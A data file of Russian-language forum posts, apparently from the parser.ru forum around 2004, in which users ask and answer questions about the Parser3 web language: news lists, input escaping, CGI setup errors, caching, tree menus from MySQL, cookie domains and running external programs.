"25024","Подскажите пожалуйста полному чайнику в Access - есть ли там тип данных для хранения большого куска текста (я нашёл только аналог VARCHAR(255)) и как его найти..."
"25025","подскажите плиз по поводу сабжа."
"25026","как научитесь Парсеру и SQL - вам наверное и самому расхочется изобретать велосипед"
"25029","Существует ли оно?\
Я догадался, что сообщения с (-) после заголовка не содержат текста сообщения. Наверняка есть и другие фичи. Может подскажете?"
"25031","есть ли какая-нибудь фича, чтобы проверять наличие пустот после имени класса или оператора. \
Пример: скопировал код, а у него на каждой строке не сразу идет перевод каретки, а сначала пробел, а потом перевод.\
(пробелы обозначу \"_\" для ясности)\
[code]USE_\
myclass_\
[/code]\
Страница выдает 500ю ошибку... \
Неужели надо удалять пробелы и проверять каждый раз код вручную? Может при выпуске следующей версии Парсера учтёте?"
"25032","возможно далее в online версии подобного не будет. про chm не в курсе.\
\
используемый мной редактор умеет показывать пробельные символы.\
\
P.S. если набивать текст ручками, а не заниматься copy/paste и пользы будет больше и пробелов лишних не будет."
"25034","Если при выдачи списка новостей пишится такой код:\
\
@navigation[]\
$news[^table::load[/news.cfg]]\
^sections.menu{\
$news.date - $news.title - <A HREF=\"news_buletin.html?id=$news.id\">details...</A>\
}\
\
то каким кодом надо вызывать отдельную новость?\
(как можно поставить лимит типа - только последние 10 сообщений)"
"25035","Весело вы в навигации выводите новости :)\
\
Пример лимита новостей в вашем случае.\
[code]\
$news[^table::load[/table.cfg]]\
# переворачиваем табличку\
^news.sort($news.id)[desc]\
\
# Узнаем общее кол-во записей\
$all[^news.count[]]\
# Устанавливаем лимит\
$limit[3]\
# Узнаем id новости по которую будем выводить\
$num($all-$limit)\
# Перебираем таблицу\
^news.menu{\
^if(^news.id.int[] > $num){\
$news.date - $news.title - <A HREF=\"news_buletin.html?id=$news.id\">details...</A>\
}\
}\
[/code]\
Стоит задуматься - а не проще ли хранить новости в БД а не в файликах :)\
\
Насчет выборки конкретной новости -\
Ключевые слова в документации:\
\
1. Класс form\
2. Locate Поиск в таблице\
3. Нash. Преобразование таблицы к хешу с заданными ключами"
"25036","В настройках можно указать мыло, на которое будут высылаться все сообщения форума. Я использую MS Outhlook Express, при скорости 34,6к скачиваю 120-150 сообщений за 2-3 минуты, отключаюсь и спокойно читаю. А чтоб все выглядело как на форуме нужно Вид->Текущее представление->Сгруппировать сообщения по теме обсуждения.\
\
Если это кому нужно. :)"
"25037","Честно признаюсь: несколько раз перечитывал, но так и не могу осознать, что такое hash, а потому всячески его избегаю. Само понятие - ассоциативный массив как-то не укладывается. :("
"25038","Будем! Будем! Я три часа убил на перечитывание форума, разыскивая ответ на http://www.parser.ru/forum/?id=24906 и пока так и не разобрался, как же мне все-таки подключить классы. :( Правда! есть вещи, которых очень не хватает в FAQ'е."
"25039","Да! Это действительно актуально. Многие привыкли к файдам типа 404.html и переходя на парсер, не сразу замечают, что больше \"нет\" этой странички"
"25040","Вот то, что я скачал:\
parser3conf_1_1_20031106_unix.tar.gz\
parser3sql_1_0_freebsd48R_mysql.tar.gz\
parser3_1_1_freebsd48R_cgi.tar.gz\
parser3_1_1.chm Дата обновления: 15.05.2003"
"25041","БД не удобна и не все хосты дают доступ по низкой цене.\
В Парсере 2 есть точьно такой пример, но я не как не могу его собрать в Парсере 3.\
\
http://example.parser.ru/news/issue.txt\
\
Я не думаю что надо будет писать отдельный КЛАСС. Если есть идеи подскажите, буду рад."
"25042","Ставил cgi-версию парсера 311 на все залил как в доке написно, но при обращении из браузера напрямую к *****/cgi-bin/parser3.cgi получаю в парсеровский eror log следующую ошибку:\
\
[Fri Jan  9 06:04:03 2004] /cgi-сin/parser3.cgi: '/home/*****/public_html' read failed: actually read % bytes count not in [0..4294967295] valid range [<no type>] \
\
То есть хоть ошибка самим парсером пишется.... тем не менее все попытки попытки подключить к html файлам оканчиваются 500 онибкой баже без записи в парсеровский error log.\
\
Что у меня не так? :-(\
\
если"
"25043","Продвинутые редакторы (типа [url=\"http://www.ultraedit.com/\"]UltraEdit[/url]) имеют фичу: при сохранении прибивать пробельные символы в концах строк."
"25045","Какую версию брали? Студийную или какую ещё? Если студийную, попробуйте качнуть мою. Просто бинарики собраные в студии далеко не везде работают."
"25046","xmldoc.save пишет \"permission denied\"\
Что делать? В доках написано, что необходимыо наличие прав. Где их выставить?"
"25047","В файловой системе - подобное сообщение появляется в том случае, если пользователю от имени которого работает парсер, запрещён доступ на запись в указанное место.\
\
В Unix это делается chmod, в Win сами знаете как."
"25048","Народ очень надо линк на лог-анализатор апача или просто работы сайта, который БД использует!"
"25049","Спасибо за совет, Брал студийные и 3007 Вашу, без safe mode. Теперь пробую качаю Другие варианты.\
\
И все же хотелось знать - это просто я брал версию не под тот REdHat откомпилированную?"
"25050","поищи Spesta. наш товарищ делает. вроде некоторые используют."
"25051","Чего ее искать-то: http://textus.ru/\
\
Spesta, во-первых, не использует в своей работе БД.\
\
Во-вторых, написана на php, следовательно, будут некоторые проблемы при использовании этой статистики на сайте, написанном на Парсере (поищите по форуму \"php parser\")."
"25052","А я и не говорил, что оно на парсере сделано. О базе данных -- не знал. Однако кое-какие принципы может же человек оттуда взять.\
\
причём тут слова \"поищите по форуму \"php parser\"\" -- не пойму что-то."
"25053","их уж лучше брать из awstats т.к. там более профессиональные программисты нежели чем Смирнов писали"
"25054","Смирнов -- Проджект Мэнэджер! А не какой-то там программист.\
=)"
"25055","я не зря указал оффтопик: мне пофиг на чем, мне просто поднять это у себя и расписать из доков работу этого \"анализера\".\
писать самому с нуля - лениво, да и мне только описание надо работы такой системы."
"25057","я выставил все права всем пользователям. всё равно пишет. и в IE поставил уровень безопасности low. всё равно такая же фигня"
"25058","Я хочу в гостевой книге своей при сохранении добавленной записи в файл tab-delimited guestbk.cfg чтобы производилась замена \"грязных\" данных методом \"html\". Т.е. я хочу чтоб в файле уже лежали преобразованные данные, а потом их выводить без всяких преобразований в браузер, поскольку в них встречаются тэги <p> и они должны работать. Т.е. хотелось бы сперва у строки осуществить замену методом \"html\", а потом я бы уже заменил все переводы строк на <p>. Видимо это возможно?\
\
Мне нужно осуществить замены символов \">\" и \"<\", чтоб блокировать вражеские команды javascript. Я написал такую программу, но она не работает, преобразование не осуществляется. Что не так в этой программе? Где ошибка? Давно бьюсь, уже на грани безумия...\
\
$gb_table[^table::load[guestbk.cfg]]\
$total_record(^gb_table.count[])\
\
$username[^taint[html][$form:username]]\
$email[^taint[html][$form:email]]\
$city[^taint[html][$form:city]]\
$msg[^taint[html][$form:msg]]\
\
^gb_table.append{$total_record	^allsite:get_time[]	^allsite:get_date[]	$username	$email	$city	$msg	$smiles}\
\
^gb_table.save[guestbk.cfg]"
"25059","БД не удобна и не все хосты дают доступ.\
В Парсере 2 есть точьно такой пример, но я не как не могу его собрать в Парсере 3 или точьнее ПЕРЕВЕСТИ в Парсер 3.\
\
http://example.parser.ru/news/issue.txt\
\
Я не думаю что надо будет писать отдельный КЛАСС. Если есть идеи подскажите, буду рад."
"25061","В доке написано, что\
[quote]\
^строка.left(N)   \
^строка.right(N)    \
Методы возвращают N первых или последних символов строки соответственно. Если длина строки меньше N, то возвращается вся строка.\
[/quote]\
Делаю так:\
$word[абракадабра]\
^word.left(100) - ^word.right(100). \
^word.right - не возвращает ничего. Так и должно быть? Вроде не очень логично. Должна возвращаться вся строка"
"25062","Помогите разобраться с реализацией дублирующей навигации (ДН). Мне важно понять сам принцип, т. е., если можно, объясните \"на пальцах\". С Парсером познакомился не так давно, и самостоятельно разобраться с вариантом ДН с egoroff.ru не получается."
"25063","т.е. пачкать данные перед записью в файл смысла нету.\
\
если у вас есть тайное знание и вы хотите таки хранить уже измененные данные (интересно, что вы будете делать если вдруг решите разрешить пользователям писать <b></b>) то… replace/match вам в руки. за один replace вы сложете заменить все < на &lt; и > на &gt;\
\
та, вот еще что... вы к курсе что save/load парсерных таблиц в которых есть переводы строк/табуляции необратимы? так что перед записью не забудьте менять и их… один из вариантов есть у меня в классе sql (я использую свои save/load при кеширования таблиц, хотя скоро в парсере будет встоеная поддержка этого…)\
\
при разработке парсера не ставилась задача избегать удобные инструменты (коим является например SQL), поэтому сделать то, что с SQL делается легким движением руки без оного может оказаться задачей не очень тривиальной (но возможной).\
\
диагноз: не парьтесь, храните все как ввели пользователи, вам останется только немного забот с переводами строк/табуляциями + вашими наворотами. в этих условиях вам очень поможет taint."
"25065","Я никогда не изучал языки программирования, так вот посоветуйте мне: надо ли подучить какой нибудь язык, ну чтобы правильны алгоритмы придумывать, иметь представление как усовершенствовать тот или иной код, или дальше продолжать изучать только Парсер???"
"25066","Необязательно. Парсер он сильно отличается от привычных паскалей, бейсиков, ИМХО.\
А вот HTML (& XML) - нужно будет тебе :)"
"25067","Как создать новую диру на сервере при помощи Парсера? Как выставить ей права chmod? В доке, вроде такого нет..."
"25068","спасибо, разобрался(парсер 311 от egr-а встал и заработал). Правда при прямом обращении из браузера к parser3.cgi  (как в FAQ yfgbcfyj)все равно вываливается 500-я ошибка. Но зато файлы парсятся....\
Еще раз спасибо  egr!"
"25069","Запутался я в кодировках\
Задача: Мне надо на сайте выводить тексты на немецком (точнее swiss german) \
Какую кодировку мне прописывать в конф auto.p (и где взять файл с кодировкой)\
\
Извините если вопрос \"странный\""
"25070","взяв за основу любой из прилагающихся и почитав доку в которой описана его структура.\
\
после того как файл сделан, нужно прописать его в таблицу с кодировками с конфигурационном auto.p и соответственно указывать её как выводимую кодировку.\
\
другой вариант: воспользоваться кодировкой UTF-8 которая у парсера является default кодировкой."
"25071","если вы будете записывать файл и укажете путь, которого не существует, то парсер сам создаст необходимые директории (при наличии прав на это).\
\
и как сказано в [url=\"/docs/lang/filedelete.htm\"]документации[/url] при удалении файла если в директории больше ничего не осталось он удалит и директорию.\
\
chmod парсер делать не умеет в принципе из соображений безопасности (FAQ. Общие вопросы.)"
"25072","может кто-нибудь всё таки ответит, можно ли создать парсером прозрачный gif?\
\
и ещё не получается вывести файлы в папке кроме файлов с расширением ext\
$list[^file:list[/;!(\\.ext^$)]] или как?"
"25074","Отключите Friendly Error Messages в IE. Покажется версия парсера.\
Ибо 500 ошибка и отдается:\
[code]me:~/$ telnet www.***.ru 80\
Trying ***. ***. ***. ***...\
Connected to ***.ru.\
Escape character is '^]'.\
GET /cgi-bin/parser3.cgi HTTP/1.1\
host: www. ***.ru\
\
HTTP/1.1 500\
Date: Sat, 10 Jan 2004 10:06:39 GMT\
Server: Apache/1.3.27 (Unix) rus/PL30.16\
content-length: 12\
Connection: close\
Content-Type: text/plain\
\
Parser/3.1.1Connection closed by foreign host.\
[/code]"
"25076","http://www.parser.ru/forum/?id=15037\
\
http://www.parser.ru/forum/?id=13246\
\
Правильнее будет использовать готовые поисковые системы.\
\
На выбор :\
mnogosearch\
risearch\
yandex.server\
\
P.S Используйте поиск по форуму - такие вопросы обсуждались неоднократно."
"25077","мне надо каждый раз другого размера картинку рисовать\
\
в measure нет ширины и высоты"
"25080","Вот \"если вы будете записывать файл и укажете путь, которого не существует, то парсер сам создаст необходимые директории (при наличии прав на это)\" - это же даже лучше, чем отдельно создавать файл и диру! Благодарим разработчиков за дальновидность."
"25081","я его уже давно скачал, но чего то он у меня не работает, при попытки запуска говорит что указанный фаил не найден , хотя путь правильный."
"25082","В гостевой книге добавил сообщение, затем, если нажимаю \"Обновить\" (появляется сообщение \"Не удается обновить страницу без повторной отправки данных...\") и \"Повтор\" -\
мое сообщение выводится второй раз.\
Вопрос: \
Это так должно быть или код из 5 урока не решает этой проблемы?\
\
Заранее благодарю."
"25088","помогите кто встречался\
\
PS У меня Денвер"
"25089","Здравствуйте, помогите пожалуйста.\
Пытаюсь разобраться с yandex.xml.\
Уже всё перепробовал, и то что уже было показано на форуме.\
Простой вопрос:\
Как правильно отправить методом post xml на yandex.xml,\
и, что самое мне непонятное, как правильно получить ответ от него?\
Извиняюсь за такой вопрос, но приведите пожалуйста два конкретных примера, я сам не разберусь.."
"25091","Дело в том, что хочу открыть для редактирования html'ку. Код html'ки (именуем ее article.html):\
[code]\
@header[] \
Текст Хедер\
@body[]\
Текст Боди\
@footer[] \
Текст Футер\
[/code]\
Если я хочу открыть этот файл через веб, я пишу, предположим:\
[code]\
$f[^file::load[text;article.html]]\
Файл $f.name содержит текст:<br> \
<textarea>$f.text</textarea>\
[/code]\
\
Но хочется бОльшей наглядности. Создаем три(для данного примера) конструкции <textarea></textarea> Как сделать так, чтобы предварительно распотрошив файл, выдавать в первой <textarea> слова \"Текст Хедер\", во второй <textarea>- \"Текст Боди\" и т.д.? \
Естесственно, что тексты могут быть многострочными, содержать код и т.п., так что предлагать типа \"обратись к строке 2 одностоблцовой таблицы и получишь <Текст Хедер>\" не нужно. В решении надо как-то пролистывать весь файл и использовать @body[] и @footer[] как метки-маркеры."
"25094","Думаешь им будет интересно отвечать на вопрос чайника о том как ему на парсере написать пару строк простого кода?"
"25095","Я конечно понимаю, что оно говорит, что много соединений... но час назад все работало. В чем может быть трабла?\
\
[code]'mysql://****@localhost/dimadezi_demotest' Too many connections [sql.connect]\
[/code]"
"25096","Насколько я понимаю при постинге данный не таинтятся?\
\
\
Пример:\
[code]\
$test[русские буквы]\
$POSTbody[Message=^taint[http-header][$test]]\
	\
$host[http://smth.ru/]\
\
\
	$f[^file::load[binary;$host][\
		$.method[POST]\
		$.timeout(60)\
		$.headers[\
			$.Content-type[application/x-www-form-urlencoded]\
			$.User-agent[abb tracker 1.0]\
			$.Content-length[^POSTbody.length[]\
\
$POSTbody]]]]\
[/code]\
\
Сервер говорит, что запрос хреновый пришел :(\
\
Обойти можно только replace по всей таблице кодировки, если это код достаточно часто испоняется?\
\
Спасибо."
"25100","Хорошо. Поставим вопрос так. \
К примеру я посылаю запрос так:\
$xd[^xdoc::load[http://xmlsearch.yandex.ru/xmlsearch/]\
\
$response:body[^xdoc.string[]] \
\
Как правильно сформировать запрос?\
$document[^xdoc::create{}]?\
\
И как его отправить этим xdoc::load'ом?\
Как _правильно_ указать ему этот $document и как указать что это будет post запрос?\
Все мои пляски с $.headers и пр. ни к чему не приводили.. Или приводили к Empty request от яндекса.."
"25101","Кто-нибудь знает где взять готовую wget не для windows, а для linux, которую можно будет установить на сервере."
"25102","а почитать доки, хотя бы на opennet.ru или поискать на google.com?\
хотя я бы сначала подумал: а не стоит ли он там уже, может просто у меня доспупа нет?"
"25104","А как бы на парсере сделать сабж? Ну чтоб по IP можно было адрес определить. А как проверить на существование (жив или нет) домен?"
"25105","Пытаюсь прикрутить к сайту yandex XML-поиск.\
Отправляю xml-запрос методом POST.\
Если запрос пустой, то все работает, если запрос не пустой получается ошибка:\
400\
invalid HTTP response status"
"25106","Как такое реализовать?\
Есть система вложенных меню. Выглядит к примеру так:\
Вложенность неограничена (по крайней мере не определена).\
\
 - Компьютеры \
 - - Железо \
 - - - Модемы \
 - - - Материнские платы \
 - - - Видеокарты \
 - - ОС Linux\
 - - ОС Windows \
 - - - Прикладные программы\
 - - - Другие программы\
 - Интернет \
 - - Icq \
\
Хранится в mysql таблице вида:\
id, parent_id, title\
\
Корневые пункты - parent_id = 0.\
\
Вопрос такой: как по id любого пункта меню окрыть только ветку ведущую к записи.\
К примеру если \"видеокарты\" имеет id = 21, и мне надо его открыть, мне совершенно ненужно\
раскрывать другие разделы (ОС Windows, Интернет).\
Извините, первый раз таким заморочился. Куда копать?"
"25107","Подскажите пожалуйста как сделать\
У меня есть две базы - в одной хранится текст документа и id пользователя, который его добавил, в другой - хранится вся информация о пользователе, привязанная к его id\
Мне нужно выбрать какие-то документы из базы и соответствующие им имена авторов и вывести одним списком Автор-Текст\
Сейчас запрос выглядит так\
\
[code]\
$text[^table::sql{\
SELECT\
text,  \
autor_id  \
FROM \
content \
WHERE \
...\
}]\
^text.menu{\
$user[^table::sql{select autor_name from users where autor_id = '$text.autor_id'}]\
$user.autor_name - $text.text\
}\
[/code]\
\
Т.е. я построчно просматриваю все полученные документы и на каждой строчке делаю запрос к базе авторов (если у меня будет 100 документов, то к базе сделается 1+100 запросов). Очевидно, что это очень не производительно и не правильно, но я не могу сообразить, как бы сделать так, чтобы обойтись минимумом запросов.\
\
Помогите пожалуйста\
Спасибо"
"25110","Что такое страшное происходит? \
Делаю всё точно как в примере на http://www.parser.ru/forum/?id=4380 . Код - в корневом auto.p, вызываю из корневого index.html ... вылазит.."
"25114","Я извиняюсь, но как это мне в моей задаче поможет?\
Оно строит таблицу с меню. Это не есть проблема.\
Проблема построить древовидное меню, и открыть только ту его ветку, в которой (неизвестно на каком уровне) находится подпункт id которого передается в качестве параметра query.\
PS: Причем хранить все это меню надо в одном файле или mysqlной базе ибо отдельных каталогов там и не предполагается. Оно будет генерится все по тому же id из базы."
"25117","только взяв за основу другой gif :(\
\
можно растянуть одноточечный до нужного размера.\
\
будет время, приделаю новую libgd, будет поддержка png&jpg&... и встроенный resize."
"25118","у меня собака ассоциируется с хлопающими на бегу ушами.\
а кошка с раной на руке.\
\
кодируем:\
[code]\
$ассоциации_пафа[\
    $.собака[уши на бегу хлопают]\
    $.кошка[царапает руки]\
]\
[/code]\
\
после чего можно напечатать\
[code]\
$ассоциации_пафа.собака\
[/code]\
или\
[code]\
$с_чем[кошка]\
$ассоциации_пафа.$с_чем\
[/code]"
"25119","так что проверьте, что вы читаете.\
\
вижу, даже в нём в одном месте всё же осталось ошибочное 'parser3.conf'.\
\
имеется в виду auto.p, документированный здесь: http://www.parser.ru/docs/lang/parserconfig.htm"
"25120","сканировать оглавления каталогов в поисках нужных файликов?"
"25122","изучите."
"25123","не пробовал, но так уж обязателен ли POST?\
\
если уж обязателен: трюк с POST от лужниковского можете найти в форуме."
"25124","вы неправильно поняли про @header.\
\
если вам таки нужно хранение разнородной информации во внешних файлах, посмотрите в сторону xml: не надо ничего придумывать, всё придумано. нужны ещё резоны: урок 6."
"25125","такая штука скажет, что именно у вас(или у других пользователей этого mysql сервера) тормозит.\
\
вероятнее всего, \
1. какие-то неоптимизированные запросы.\
2. нескэшированные (^cache) популярные страницы."
"25126","не надо будет гадать."
"25127","в unix [или в cygwin под win32] есть масса утилиток.\
уверен, найдёте готовое решение."
"25128","любую.\
\
2all: на подобное просьба не отвечать."
"25129","но, более вероятно, что вы сами написали код, который делает неразумные вещи."
"25130","Симптомы - \"работало-работало и перестало\" :-(\
\
Перстала работать _одна_ страница - та, что осуществляет чтение нескольких RSS-потоков с разных сайтов (загружаются несколько файлов по http, xml трансформируется и кладётся в БД). Симптом - Error 500, \"premature end...\" в логе. Парсерный лог пуст, core нету.\
\
Другие страницы открываются. Страницы с обработкой XML внутри - тоже. Страницы, отбращающиеся к БД - тоже. Попробовал вызывать парсер через прослойку в виде sh-файла - на экран ничего не выводится. \
\
По умолчанию моя RSS-читалка выкачивает до 15 RSS-файлов с разных сайтов за присест. Ограничил число до 1 - заработало. 2 уже вызывают Internal server error. \
\
Что произошло - не знаю. Я ничего не трогал, поэтому кого пинать ногами - ума не приложу. Если это умельцы из masterhost начудили - где искать улики и какие претензии предъявлять?"
"25131","Некоторое время назад начал получать на них ошибку \"Connection limit\" при ^xdoc::create. Ошибка в логи почему-то не идет и увидеть ее очень непросто... Сейчас точно и не вспомню, как я ее умудрился найти... ;-) Суть же ее - ограничение http-коннектов для одного скрипта."
"25132","значит действительно что-то падает, просто core не пишется.\
\
если не сложно, пришлите bug.html?\
с указанием версии parser."
"25133","Катаю им гневное письмо - они нарушают свою же оферту + свои же обязательства по QoS..."
"25134","внешние данные менялись, так что эксперимент не чист = нельзя наезжать.\
\
вероятно, дело не в них."
"25135","Когда парсер выкачивает один удалённый файл за раз, всё ok.\
Когда http-коннектов больше одного, происходит ошибка.\
\
Для очистки совести сейчас сделаю \"чистый случай\" и перепроверю."
"25136","Спасибо."
"25137","Проблема была не в числе http-коннектов а в другом... Но при этом число выкачиваемых RSS как-то влияло...\
\
Резюме \
\
- мастерхост аки жена Цезаря - вне подозрений,\
- число коннектов не виновато,\
- PAF'у в течение дня отпишу с деталями - там всё-таки есть, в чём разбираться..."
"25138","вектор: \"any-status\""
"25139","желательно поменьше. деталей тоже.\
чтобы я запустил, оно упало, и я посмотрел отладчиком.\
\
[ишь, размечтался]"
"25140","Видимо, хостер мудрит параллельно с тем, как я правлю код. Попробую всё-же выделить чистый случай и поэкспериментировать некторое время..."
"25142","из одной страницы в цикле 100 раз выкачиваю одну и ту же страницу - не падает, чёрт его дери...\
\
Может быть, они что-то правили и сейчас закончили с изменениями, а я застал \"работу в процессе\"?"
"25143","Может имеет смысл написать тестовый кодец, который плавно увеличивает количество коннектов, регистрируя количество и результат? как упало сразу смотрим лог и всё видим :)."
"25145","Ну незнаю. Там на сайте Yandex.XMLя сказано, что он пост запросы только принимает..\
\
А всё что было в форуме я перепробовал.. Как просто послать пост запрос и получить ответ ясно, а вот как xml послать? Почему-то не получается.."
"25147","Any code I execute related to listing of files in a \"nice\" way leads to this error.. What parameter in what config file should my provider change?"
"25148","1. пробегаемся по таблице в поисках всех родителей вашего [b]id[/b], засовываем найденное в хэш какой-нить там.\
\
2. строим дерево рекурсией (ссылку вам дали) раскрывая только те ветки, [b]id[/b] родителя которых имеется в том хэше."
"25149","Может у кого есть примерчик для работы на Parser с WAP"
"25150","Какая разница что создавать/скриптовать при помощи парсера?\
HTML, XML или WML?"
"25151","Так я еще не знаком с WAP. Да и еще, нужно ли настраивать для этого Парсер и как?"
"25152","я сделал сайт(с использованием Денвера, на Parser) на локальной машине, как мне теперь запихнуть на хостинг.\
 Заранее благодарю.\
PS: если можно бодробнее.Спасибо."
"25155","Так они в принципе не будут иметь больше 50 сообщений (.cfg файлы)"
"25156","А если в базе записи вразнобой, а не одна после другой? \
Бегать по таблице пока parent_id не будет 0? Тоже вариант, надо попробовать.\
Может ещё проще вариант есть?"
"25157","у меня сайт состоит из динамических страниц - вся информация берётся из базы, причём одни страницы видны всем посетителям, другие видны, но находятся под паролем, о существовании третьих разные пользователи даже не подозревают (им выдаётся 404)\
\
я начал писать довольно большие запросы к базе (у меня там их вообще много), в связи с чем возникло несколько вопросов:\
1. стоит ли кэшировать страницы? не произойдёт ли случайно такой ситуации, что страницу увидит непосвящённый или поисковик какой-нибудь\
2. что стоит кэшировать -  всё тело страницы (^cache[](){^body[]}) илиотдельные части? И на сколько?\
\
3. Я правильно понял, что cache нужно использовать при множестве запросов к базе? У меня запросы в базе идут в основном из пользовательских разделов (куда вход под паролем и информация секретная) - безопасно ли кэшировать такие страницы?\
\
Спасибо"
"25158","Никто не знает, как заархивировать файлы на сервере с помощью парсера\
Я искал по серверу, но что-то ничего не нашёл. Интуиция подсказыват, что нужно использовать какую-то внешнюю программу, но КАК?\
Пробовал - \
^file::exec[/usr/bin/zip;;/files/1.zip;/files/1.txt] - ничего естесственно не получилось (видимо путь к zip прописан перавильно или ещё что)\
Буду весьма благодарен за любую помощь, совет"
"25159","1. да, кешировать стоит. от кеширования никому обычно хуже не становится :) увидит страницу поисковик или нет - зависит только от вас (как вы сделаете кеширование). если вы проверку на залогиненость сделаете внутри кеша - то ещё как увидит :)\
\
2. как больше нравится/как возможно. например, иногда часть страницы может содержать персональную для посетителя информацию, а другая часть очень сложновычисляемую общую для всех информацию. в этом случае логично кешировать кусками. да, кстати, можно использовать вложеные операторы cache...\
\
3. его надо использовать чтобы не производить вычисления, которые незачем производить часто, чтобы разгрузить сервер. если у вас одно посещение в день а информация меняется раз в час - кешировать смысла никакого. если информация меняется раз в день, а посещение одно в секунду - то кешировать есть очень большой смысл. безопасно-ли кешировать? это зависит от вас, как вы напишите код. с таким-же успехом вы можете без кеширования показать кому-нить информацию, не предназначеную для его глаз. вы формируете ключ кеширования. сделайте так чтобы он был разным у залогиненых/не залогиненых. или вообще не кешируйте для залогиненых."
"25160","пусть у нас есть таблица structure со структурой (id, parent_id, title)\
[code]\
# тут id объекта, для которого нам надо составить хеш с его родителями\
$id(123)\
\
$parents[^hash::create[]]\
$str_hash[^structure.hash[id]]\
$pid($id)\
^while($pid){\
  ^parents.add[\
    $.[$pid][$pid]\
  ]\
  $pid($str_hash.[$pid].parent_id)\
}\
# теперь у нас в хеше $parents есть все родители объекта с id == 123\
# соотвтетственно проверить всегда очень просто:\
# ^if($parents.[$checked_id]){\
#   объект с id == $checked_id является одним \
#   из родителей объекта с id = 123 или им самим\
# }{\
#   объект с id == $checked_id какой-то левый\
# }\
[/code]"
"25161","странно, заметил глюк с куками\
у меня на сайте есть авторизация пользователя. При этом я пишу сессионные куки (ну там уникальный айди, имя пользователя и т.д.). При акждом обращении к странице соответственно проверяется соответствие айди в базе и в куке.\
Т.к. кука сессионная, с сайта можно уйти, побродить по интернету (не закрывая броузер) а потом спокойненько  вернуться на сайт.\
\
Только что заметил, что если вместо моего сайта www.site.ru зайти на site.ru (который тоже мой) - то проверка авторизации почему-то не действует. Если вернуться на www.site.ru  - всё нормально\
Кто-нибудь сталкивался с этим или знает, почему такое происходит.\
Спасибо"
"25162","на сайте www.site.ru - кука есть (выводится), на site.ru - нет. \
А вот если посетитель авторизовался на site.ru а потом зашёл на www.site.ru - куки действуют.\
"
"25163","доходчиво и понятно"
"25164","потому что www.site.ru и site.ru могут быть абсолютно разные сайты."
"25165","лучше вести на языке copy/paste.\
пожалуйста, приведите воспроизводимый bug.html, указав версию parser?"
"25166","идёте в auto.p и правите text/html на необходимое.\
на что именно — читаете в любом источнике, или… сюрприз… ищете в этом форуме."
"25167","перечитайте.\
если лень вдаваться, просто подождите, когда вас сайт перестанет работать так быстро, как работал в момент своего открытия.\
затем посмотрите в лицо вашему клиенту."
"25168","http://www.parser.ru/docs/lang/app1.htm\
\
так что запускайте свой маленький скрипт, например\
[code]\
$f[^file::exec[zip.sh;\
  $.from[что]\
  $.to[куда]\
]\
[/code]\
и в вашем .sh можно будет воспользоваться именованными параметрами так:\
[code]\
#!/bin/sh\
\
echo from -- $from\
echo to -- $to\
[/code]"
"25170","разве что отдельные куски можно подольше кешировать -- другие наоборот ..\
\
что-то больше смысла не вижу.\
или может есть еще какой трюк? :)"
"25171","я не призываю это использовать, сам не использую, но... можно :)\
\
самый тупой вариант: кешировать всю страницу на 5 сек (1 мин...) а некоторые внутренности на подольше... тогда внешний кеш будет спасать об пиков (ссылку на nnm.ru на вас дали и пипец не наступит), а собственно внутренний - чтобы спалось хорошо :)"
"25172","и посмотрите раздел Хостинги - там все обстоятельно описывается\
\
Будут конкретные вопросы - будут и конкретные ответы"
"25173","можно перенести в ответ на http://www.parser.ru/forum/?id=25152"
"25174","идея понятна :))\
\
Цитирую:\
> я не призываю это использовать, сам не использую, но... можно :)"
"25175","…в Скачать, в Документации, в Хостигни, а так-же не раз и не два разжевывалось в форуме…"
"25176","там много чего несколько устарело, поэтому я внес в него изменения (у парсера с 3.0.8 появился метод который может сформировать хеш таблиц…)"
"25177","Требуется вебмастер, делающий сайты на Parser. Информацию о себе можно прислать на емелю personnel@ecopravo.ru"
"25178","Я знаю одну фирму, там ребята неплохие сайты делают, www.artlebedev.ru , у них даже небольшой опыт работы есть!"
"25179","Просто многие скупяться потратить на БД. По этому и хотят чтоб информация шла через .cfg. К тому им (клиентам) легче перекинуть всё с сервера на сервер.\
\
Я сам иногда пробую переубеждать но не все слушают.\
\
В принципе я создавал маленький корпоративный сайт. Восновном новость что то типа \"НОВАЯ МОДЕЛЬ!\", \"НОВЫЙ СТЬЛЬ!\", \"ДОБАВЛЕНО ЧТО-ТО ОСОБОЕ!\", итп...\
\
А основные клиенты имеют T1, T3, CABLE, или BROADBAND. Всё происходит через дилеров. Так что клиенты компании."
"25180","1. какая разница,какие сайты, я же не пишу в куке, что она для какого-то определённого сайта\
2. я написал, что если кука записалась на сайте site.ru, то на сайте www.site.ru она действует, а если наоборот - то нет\
3. всё-таки интересно, можно как-нибудь сделать так, чтобы куки действовали на всех сайтах?"
"25181","http://www.citforum.ru/internet/html/c_syntax_format.shtml\
читать про DOMAIN_NAME\
\
http://www.citforum.ru/internet/html/cookie.shtml\
%Для доменов иерархии \"RU\", например, придется указывать три периода. %\
\
т.е. в принципе вам не кто не горантирует что установив куку для домена site.ru, \
она будет посылаться на www.site.ru\
\
выход:\
во-первых читайте все доки которые я вам написал,\
и плюс http://www.parser.ru/docs/lang/?cookierec.htm\
\
вот и задавайте домен точно, т.е. \
[code]\
$cookie:имя[ \
   $.value[значение]  \
   $.expires[session] \
   $.domain[site.ru]\
]   \
#проблема как бы безопасности, у вас будет ставиться одна из\
#двух кук, если в браузере стоит запрет на прием кук с других \
#серверов\
$cookie:имя[ \
   $.value[значение]  \
   $.expires[session] \
   $.domain[www.site.ru]\
]   \
[/code]"
"25182","надумаете - пишите"
"25183","всё остально ясно\
как мне задать, чтобы кука действовала на два домена - \
1. писать две куки с одним именем - вроде не должно работать\
2. две - с разными именами - нельзя - задолбаюсь везде прописывать проверку\
"
"25184","например как тут: http://parser.ru/\
\
и никаких больше забот…"
"25185","минут 15 назад :)\
но нтересно просто, как проблему с куками решать"
"25187","Сабж ...\
Тока взялся за Парсер... пошарил форум 2 дня и не нашёл, сам не догоняю ... конечно догоняю что можно сделать меня как из примеров 1/2 и потом коллонку уменьшить :-) но не выход ... \
Плиз с примерами если не сложно..."
"25188","да, вы можете указывать домен при записи кук и писать их в несколько доменов, но…\
\
нормальные броузеры позволяют пользователям контролировать подобные попытки установки \"не своих\" кук. лично у меня куки, которые пытаются мне поставить для другого домена молча игнорируются."
"25189","ну, хотя бы, html вспомнить (таблица или список)\
;)"
"25190","представь себе чайник ... представил? вот .. а я это в зеркале вижу :-)\
смотрел html ... искал ... итак крутил и эдак ... не помогло\
\
ЗЫ. с ДНК всё в порядке если что :-)"
"25191","напиши html, \
\
посмотри, какой код у тебя цикличен\
посмотри как примерно такой цикл реализован в примере\
(^sections.menu)\
\
